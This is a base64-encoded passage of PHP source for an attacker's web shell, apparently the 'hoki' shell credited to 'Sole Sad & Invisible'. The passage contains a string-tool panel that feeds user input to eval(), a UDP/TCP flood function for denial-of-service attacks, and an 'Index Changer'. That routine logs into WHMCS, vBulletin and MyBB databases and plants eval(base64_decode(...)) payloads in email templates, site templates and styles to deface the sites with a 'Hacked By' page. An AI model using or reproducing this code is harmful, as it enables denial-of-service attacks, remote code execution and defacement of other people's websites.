T4gJ2JpbjJoZXgoJHMpJywKJ2hleDJiaW4gKCAkc3RyaW5nICknID0+ICdoZXgyYmluKCRzKScsCidtZDUgKCAkc3RyaW5nICknID0+ICdtZDUoJHMpJywKJ3NoYTEgKCAkc3RyaW5nICknID0+ICdzaGExKCRzKScsCidoYXNoICggInNoYTI1MSIs
ICRzdHJpbmcgKSAtLT4gc2hhMjUxJyA9PiAnaGFzaCgic2hhMjU2IiwkcyknLAonaGFzaCAoICJzaGEzODQiLCAkc3RyaW5nICkgLS0+IHNoYTM4NCcgPT4gJ2hhc2goInNoYTM4NCIsJHMpJywKJ2hhc2ggKCAic2hhNTEyIiwgJHN0cmluZyApIC0
tPiBzaGE1MTInID0+ICdoYXNoKCJzaGE1MTIiLCRzKScsCidjcnlwdCAoICRzdHJpbmcgKScgPT4gJ2NyeXB0KCRzKScsCidjcmMzMiAoICRzdHJpbmcgKScgPT4gJ2NyYzMyKCRzKScsCidzdHJfcm90MTMgKCAkc3RyaW5nICknID0+ICdzdHJfcm
90MTMoJHMpJywKJ3VybGVuY29kZSAoICRzdHJpbmcgKScgPT4gJ3VybGVuY29kZSgkcyknLAondXJsZGVjb2RlICAoICRzdHJpbmcgKScgPT4gJ3VybGRlY29kZSgkcyknLAonZnVsbF91cmxlbmNvZGUgICggJHN0cmluZyApJyA9PiAnZnVsbF91c
mxlbmNvZGUoJHMpJywKJ2h0bWxzcGVjaWFsY2hhcnMgICggJHN0cmluZyApJyA9PiAnaHRtbHNwZWNpYWxjaGFycygkcyknLAonYmFzZTY0X2VuY29kZSAoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpIC0tPiBFbmNvZGUnID0+ICdfX1pXNWpiMlJs
Y2coZ3pkZWZsYXRlKCRzLCA5KSknLAonZ3ppbmZsYXRlIChiYXNlNjRfZGVjb2RlKCAkc3RyaW5nICkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkcykpJywKJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZSggJHN0cml
uZyApKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZygkcykpJywKJ2Jhc2U2NF9kZWNvZGUgKHN0cl9yb3QxMyggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnX19aR1ZqYjJSbGNnKHN0cl9yb3QxMygkcykpJywKJ3N0cl
9yb3QxMyAoYmFzZTY0X2VuY29kZShnemRlZmxhdGUoICRzdHJpbmcgLCA5KSkpIC0tPiBFbmNvZGUnID0+ICdzdHJfcm90MTMoX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcyw5KSkpJywKJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZShzdHJfcm90M
TMoICRzdHJpbmcgKSkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKSknLAopOwpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICI8Zm9ybSBvblN1Ym1pdD0nZyhc
Imhhc2hcIixudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48ZGl2IGNsYXNzPSd0eHRmb250Jz5NZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCcgc3R5bGU9J3dpZHR
oOjQwMHB4Oyc+IjsKZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCmVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIicgIi4oJF9QT1NUWydob2tpMSddPT0kdj8nc2VsZWN0ZWQnOicnKS4iPiIuJGsuIj
wvb3B0aW9uPiI7CmVjaG8gIjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcvPjxicj48dGV4dGFyZWEgIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdiaWdhcmVhJz4iLihlbXB0eSgkX1BPU
1RbJ2hva2kxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnaG9raTInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOwppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSl7CiRzdHJpbmcgPSBhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSk7
CiRzdHJpbmcgPSBzdHJfcmVwbGFjZSgnXCInLCciJywkc3RyaW5nKTsKJGFsZyA9ICRfUE9TVFsnaG9raTEnXTsKJGNvZGUgPSBzdHJfcmVwbGFjZSgnJHMnLCInIi4kc3RyaW5nLiInIiwkYWxnKTsKb2Jfc3RhcnQoKTsKZXZhbCgnZWNobyAnLiR
jb2RlLic7Jyk7CiRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsKb2JfZW5kX2NsZWFuKCk7CmlmKGluX2FycmF5KCRhbGcsICRzdHJpbmdUb29scykpZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHJlcy
kuJzwvdGV4dGFyZWE+JzsKfQplY2hvICI8L2Rpdj4iOwpob2tpRm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWRvcygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4d
GZvbnRfaGVhZGVyIj58IERPUyB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJnKFwnZG9zXCcsbnVsbCx0aGlzLmhvc3QudmFsdWUsdGhpcy50aW1lLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLm0udmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48
ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXRob2QgOiA8c2VsZWN0IG5hbWU9Im0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PG9wdGlvbiB2YWx1ZT0idWRwIj5VRFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0Y3AiPlRDUDwvb3B0aW9uPjwvc2VsZWN0PiB
Ib3N0IDogPGlucHV0IG5hbWU9Imhvc3QiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiIHNpemU9IjI1IiAvPiBUaW1lIDogPGlucHV0IG5hbWU9InRpbWUiIHR5cGU9InRleHQiIHNpemU9IjE1IiAvPiBQb3J0IDogPGlucHV0IG5hbWU9In
BvcnQiIHR5cGU9InRleHQiIHNpemU9IjEwIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva
2kyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKZWNobyBfX3ByZSgpOwokcGFja2V0cz0wOwppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKJGV4ZWNfdGltZT0oaW50KSRfUE9TVFsnaG9raTInXTsKJHRpbWU9dGltZSgpOwokbWF4X3Rp
bWU9JGV4ZWNfdGltZSskdGltZTsKJGhvc3Q9JF9QT1NUWydob2tpMSddOwokcG9ydD0oaW50KSRfUE9TVFsnaG9raTMnXTsKJG1ldGhvZD0kX1BPU1RbJ2hva2k0J107CiRvdXQgPSBzdHJfcmVwZWF0KCdYJyw2NTAwMCk7CndoaWxlKDEpewokcGF
ja2V0cysrOwppZih0aW1lKCkgPiAkbWF4X3RpbWUpewpicmVhazsKfQokZnAgPSBAZnNvY2tvcGVuKCRtZXRob2QuJzovLycuJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDUpOwppZigkZnApewpmd3JpdGUoJGZwLCAkb3V0KTsKZmNsb3
NlKCRmcCk7Cn0KfQplY2hvICI8Y2VudGVyPiRwYWNrZXRzICgiIC4gQHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiBAcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tld
HMgcGVyIHNlY29uZDwvY2VudGVyPiI7CmVjaG8gIjwvcHJlPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fcHJlKCl7cmV0dXJuKCc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIg
Y2xhc3M9Im1sMSI+Jyk7fQpmdW5jdGlvbiBob2tpSW5kZXhDaGFuZ2VyKCl7Cmhva2loZWFkKCk7CgplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEluZGV4IENoYW5nZXIgfDw
vZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxudWxsLFwnd2htY3NcJykiPnwgV2htY3MgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbG
ljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsXCd2YlwnLG51bGwpIj58IHZCdWxsZXRpbiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNe
UJCIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMyddKSYmKCRfUE9TVFsnaG9raTMnXSA9PSAnd2htY3MnKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250
X2hlYWRlcic+fCBXaG1jcyB8PC9kaXY+CjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCxudWxsLG51bGwsJ3dobWNzJyx0aGlzLmZuYW1lLnZhbHVlLHRoaXM
ucGF0aC52YWx1ZSx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYX
koJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksC
iAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VSTCcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAn
KSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRmlsZSBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ2ZuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0
+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZD
UnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKI
Cd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykK
KTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4KPHRleHRhcmVhIG5hbWU9aW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSB
Tb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+CjwvZm9ybT48L2NlbnRlcj48L2NlbnRlcj4iOw
ppZihpc3NldCgkX1BPU1RbJ2hva2k2J10pKXsKJGtpczNyeW91bmk9IlBvd2VyZWQgQnkgS2lzZXJ5b3VuaSI7CiRkYnUgPSAkX1BPU1RbJ2hva2k2J107CiRwYXRoID0gJF9QT1NUWydob2tpNSddOwokZm5hbWUgPSAkX1BPU1RbJ2hva2k0J107C
iRkYm4gPSAkX1BPU1RbJ2hva2k3J107CiRkYnAgPSAkX1BPU1RbJ2hva2k4J107CiRkYmggPSAkX1BPU1RbJ2hva2k5J107CiRpbmRleCA9ICRfUE9TVFsnaG9raTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRk
ZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJGtpc2VyeW91bmkgPSBmb3BlbigiJy4kZm5hbWUuJyIsInciKTsgZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwokc2F2ZURhdGEgPSBfX1pXNWp
iMlJsY2coJGRlZmFjZSk7CiREZWYgPSAne3BocH1ldmFsKGJhc2U2NF9kZWNvZGUoIicuJHNhdmVEYXRhLiciKSk7ey9waHB9JzsKaWYoIWVtcHR5KCRkYmgpJiYhZW1wdHkoJGRidSkmJiFlbXB0eSgkZGJuKSYmIWVtcHR5KCRpbmRleCkpewokY2
9ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZVNhdmU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3a
GVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwoka2lzZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygka2lzZVNhdmUpOwokdGVtcFNhdmUxID0gJGtpc2VHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2Uo
IiciLCJcJyIsJHRlbXBTYXZlMSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckRGVmJyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQ9QG15c3FsaV9xdWVyeSg
kY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ2tpc2VyeW91bmlAZmJpLmdvdicpIjsKJHJlc3VsdDIgPUBteXNxbGlfcXVlcn
koJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRIb2tpU29sZSA9IG5ldyBIb2tpQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkSG9raVNvbGUtPlNlb
mQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRIb2tpU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwi
cG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1raXNlcnlvdW5pQGZiaS5nb3YiKTsKJGJhY2tkYXRhID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0neyR0ZW1wU2F2ZX0nIFdIRVJFIG5hbWU
9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJEtpc2VyeW91bmkgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCdGaWxlIENyZWF0ZWQuLi4nKTsKZWNobyAiPG
JyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyIuJHBhdGguIi8iLiRmbmFtZS4iJz5Db
GljayBIZXJlICE8L2E+PC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7Cn1lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxm
b250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPC9mb250Pjxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvcHdyZXNldC5waHAgXCI8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj4gYW5kIHJlc2V0IHB
hc3N3b3JkIHdpdGggZW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYX
RoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkgJiYgKCRfUE9TVFsnaG9raTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+P
GNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRi
dS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiB
hcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNT
AnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9P
iAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXpl
JyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l
6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsIC
dpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9J
zEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3Jt
PjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnaG9raTgnXT09Jz4+Jyl7CiRraXMzcnlvdW5pPSJQb3dlcmVkIEJ5IEtpc2VyeW91bmkiOwokZGJ1ID0gJF9QT1NUWydob2tpMiddOwokZGJuID0gJF9QT1NUWydob2tpMyddOwokZGJwID0
gJF9QT1NUWydob2tpNCddOwokZGJoID0gJF9QT1NUWydob2tpNSddOwokaW5kZXggPSAkX1BPU1RbJ2hva2k2J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2k3J107CiRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwokc2V0X2luZG
V4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOwokc2V0X2luZGV4IC49IF9fWlc1amIyUmxjZygiZWNobyBcIiRpbmRleFwiOyIpOwokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX0iOwppZighZW1wdHkoJGRiaCkmJiFlbXB0e
SgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRsb2xpMSA9ICJVUERBVEUgIi4kcHJlZml4LiJ0
ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2l
uZGV4LiIiLiRraXMzcnlvdW5pLiInIFdIRVJFIHRpdGxlPSdGT1JVTUhPTUUnIjsKJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJywgc3R5bGV2YXJzPScnLCBjc3
Njb2xvcnM9JycsIGVkaXRvcnN0eWxlcz0nJyI7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkxKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvb
m4pKTsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTMpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ1ZCIGluZGV4IGNoYW5nZWQuLi4hJyk7Cn0KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgKCRfUE9TVFsn
aG9raTInXSA9PSAnbXliYicpKSB7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ215YmInKS4iPGZ
vcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ251bGwnLCdteWJiJyxudWxsLG51bGwsbnVsbCx0aGlzLm15YmJkYmgudmFsdWUsdGhpcy5teWJiZGJ1LnZhbHVlLHRoaXMubXliYmRibi52YWx1ZSx0aGlzLm15YmJkYnAudmFsdW
UsdGhpcy5teWJiaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1QgYWN0aW9uPScnPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc
3QnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0
ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZ
GRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdteWJiZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJy
A9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhY
mxlKTsKZWNobyAiPGJyPjxkaXYgY2xhc3M9J3R4dGZvbnQnPnwgWW91ciBJbmRleCB8PC9kaXY+PGJyPgo8dGV4dGFyZWEgbmFtZT1teWJiaW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+Cjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZp
c2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScnID48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9
TVFsnaG9raTYnXSkpewokbXliYl9kYmggPSAkX1BPU1RbJ2hva2k2J107CiRteWJiX2RidSA9ICRfUE9TVFsnaG9raTcnXTsKJG15YmJfZGJuID0gJF9QT1NUWydob2tpOCddOwokbXliYl9kYnAgPSAkX1BPU1RbJ2hva2k5J107CiRteWJiX2luZG
V4ID0gJF9QT1NUWydob2tpMTAnXTsKaWYoIWVtcHR5KCRteWJiX2RiaCkmJiFlbXB0eSgkbXliYl9kYnUpJiYhZW1wdHkoJG15YmJfZGJuKSYmIWVtcHR5KCRteWJiX2luZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbXliYl9kYmgsJG15Y
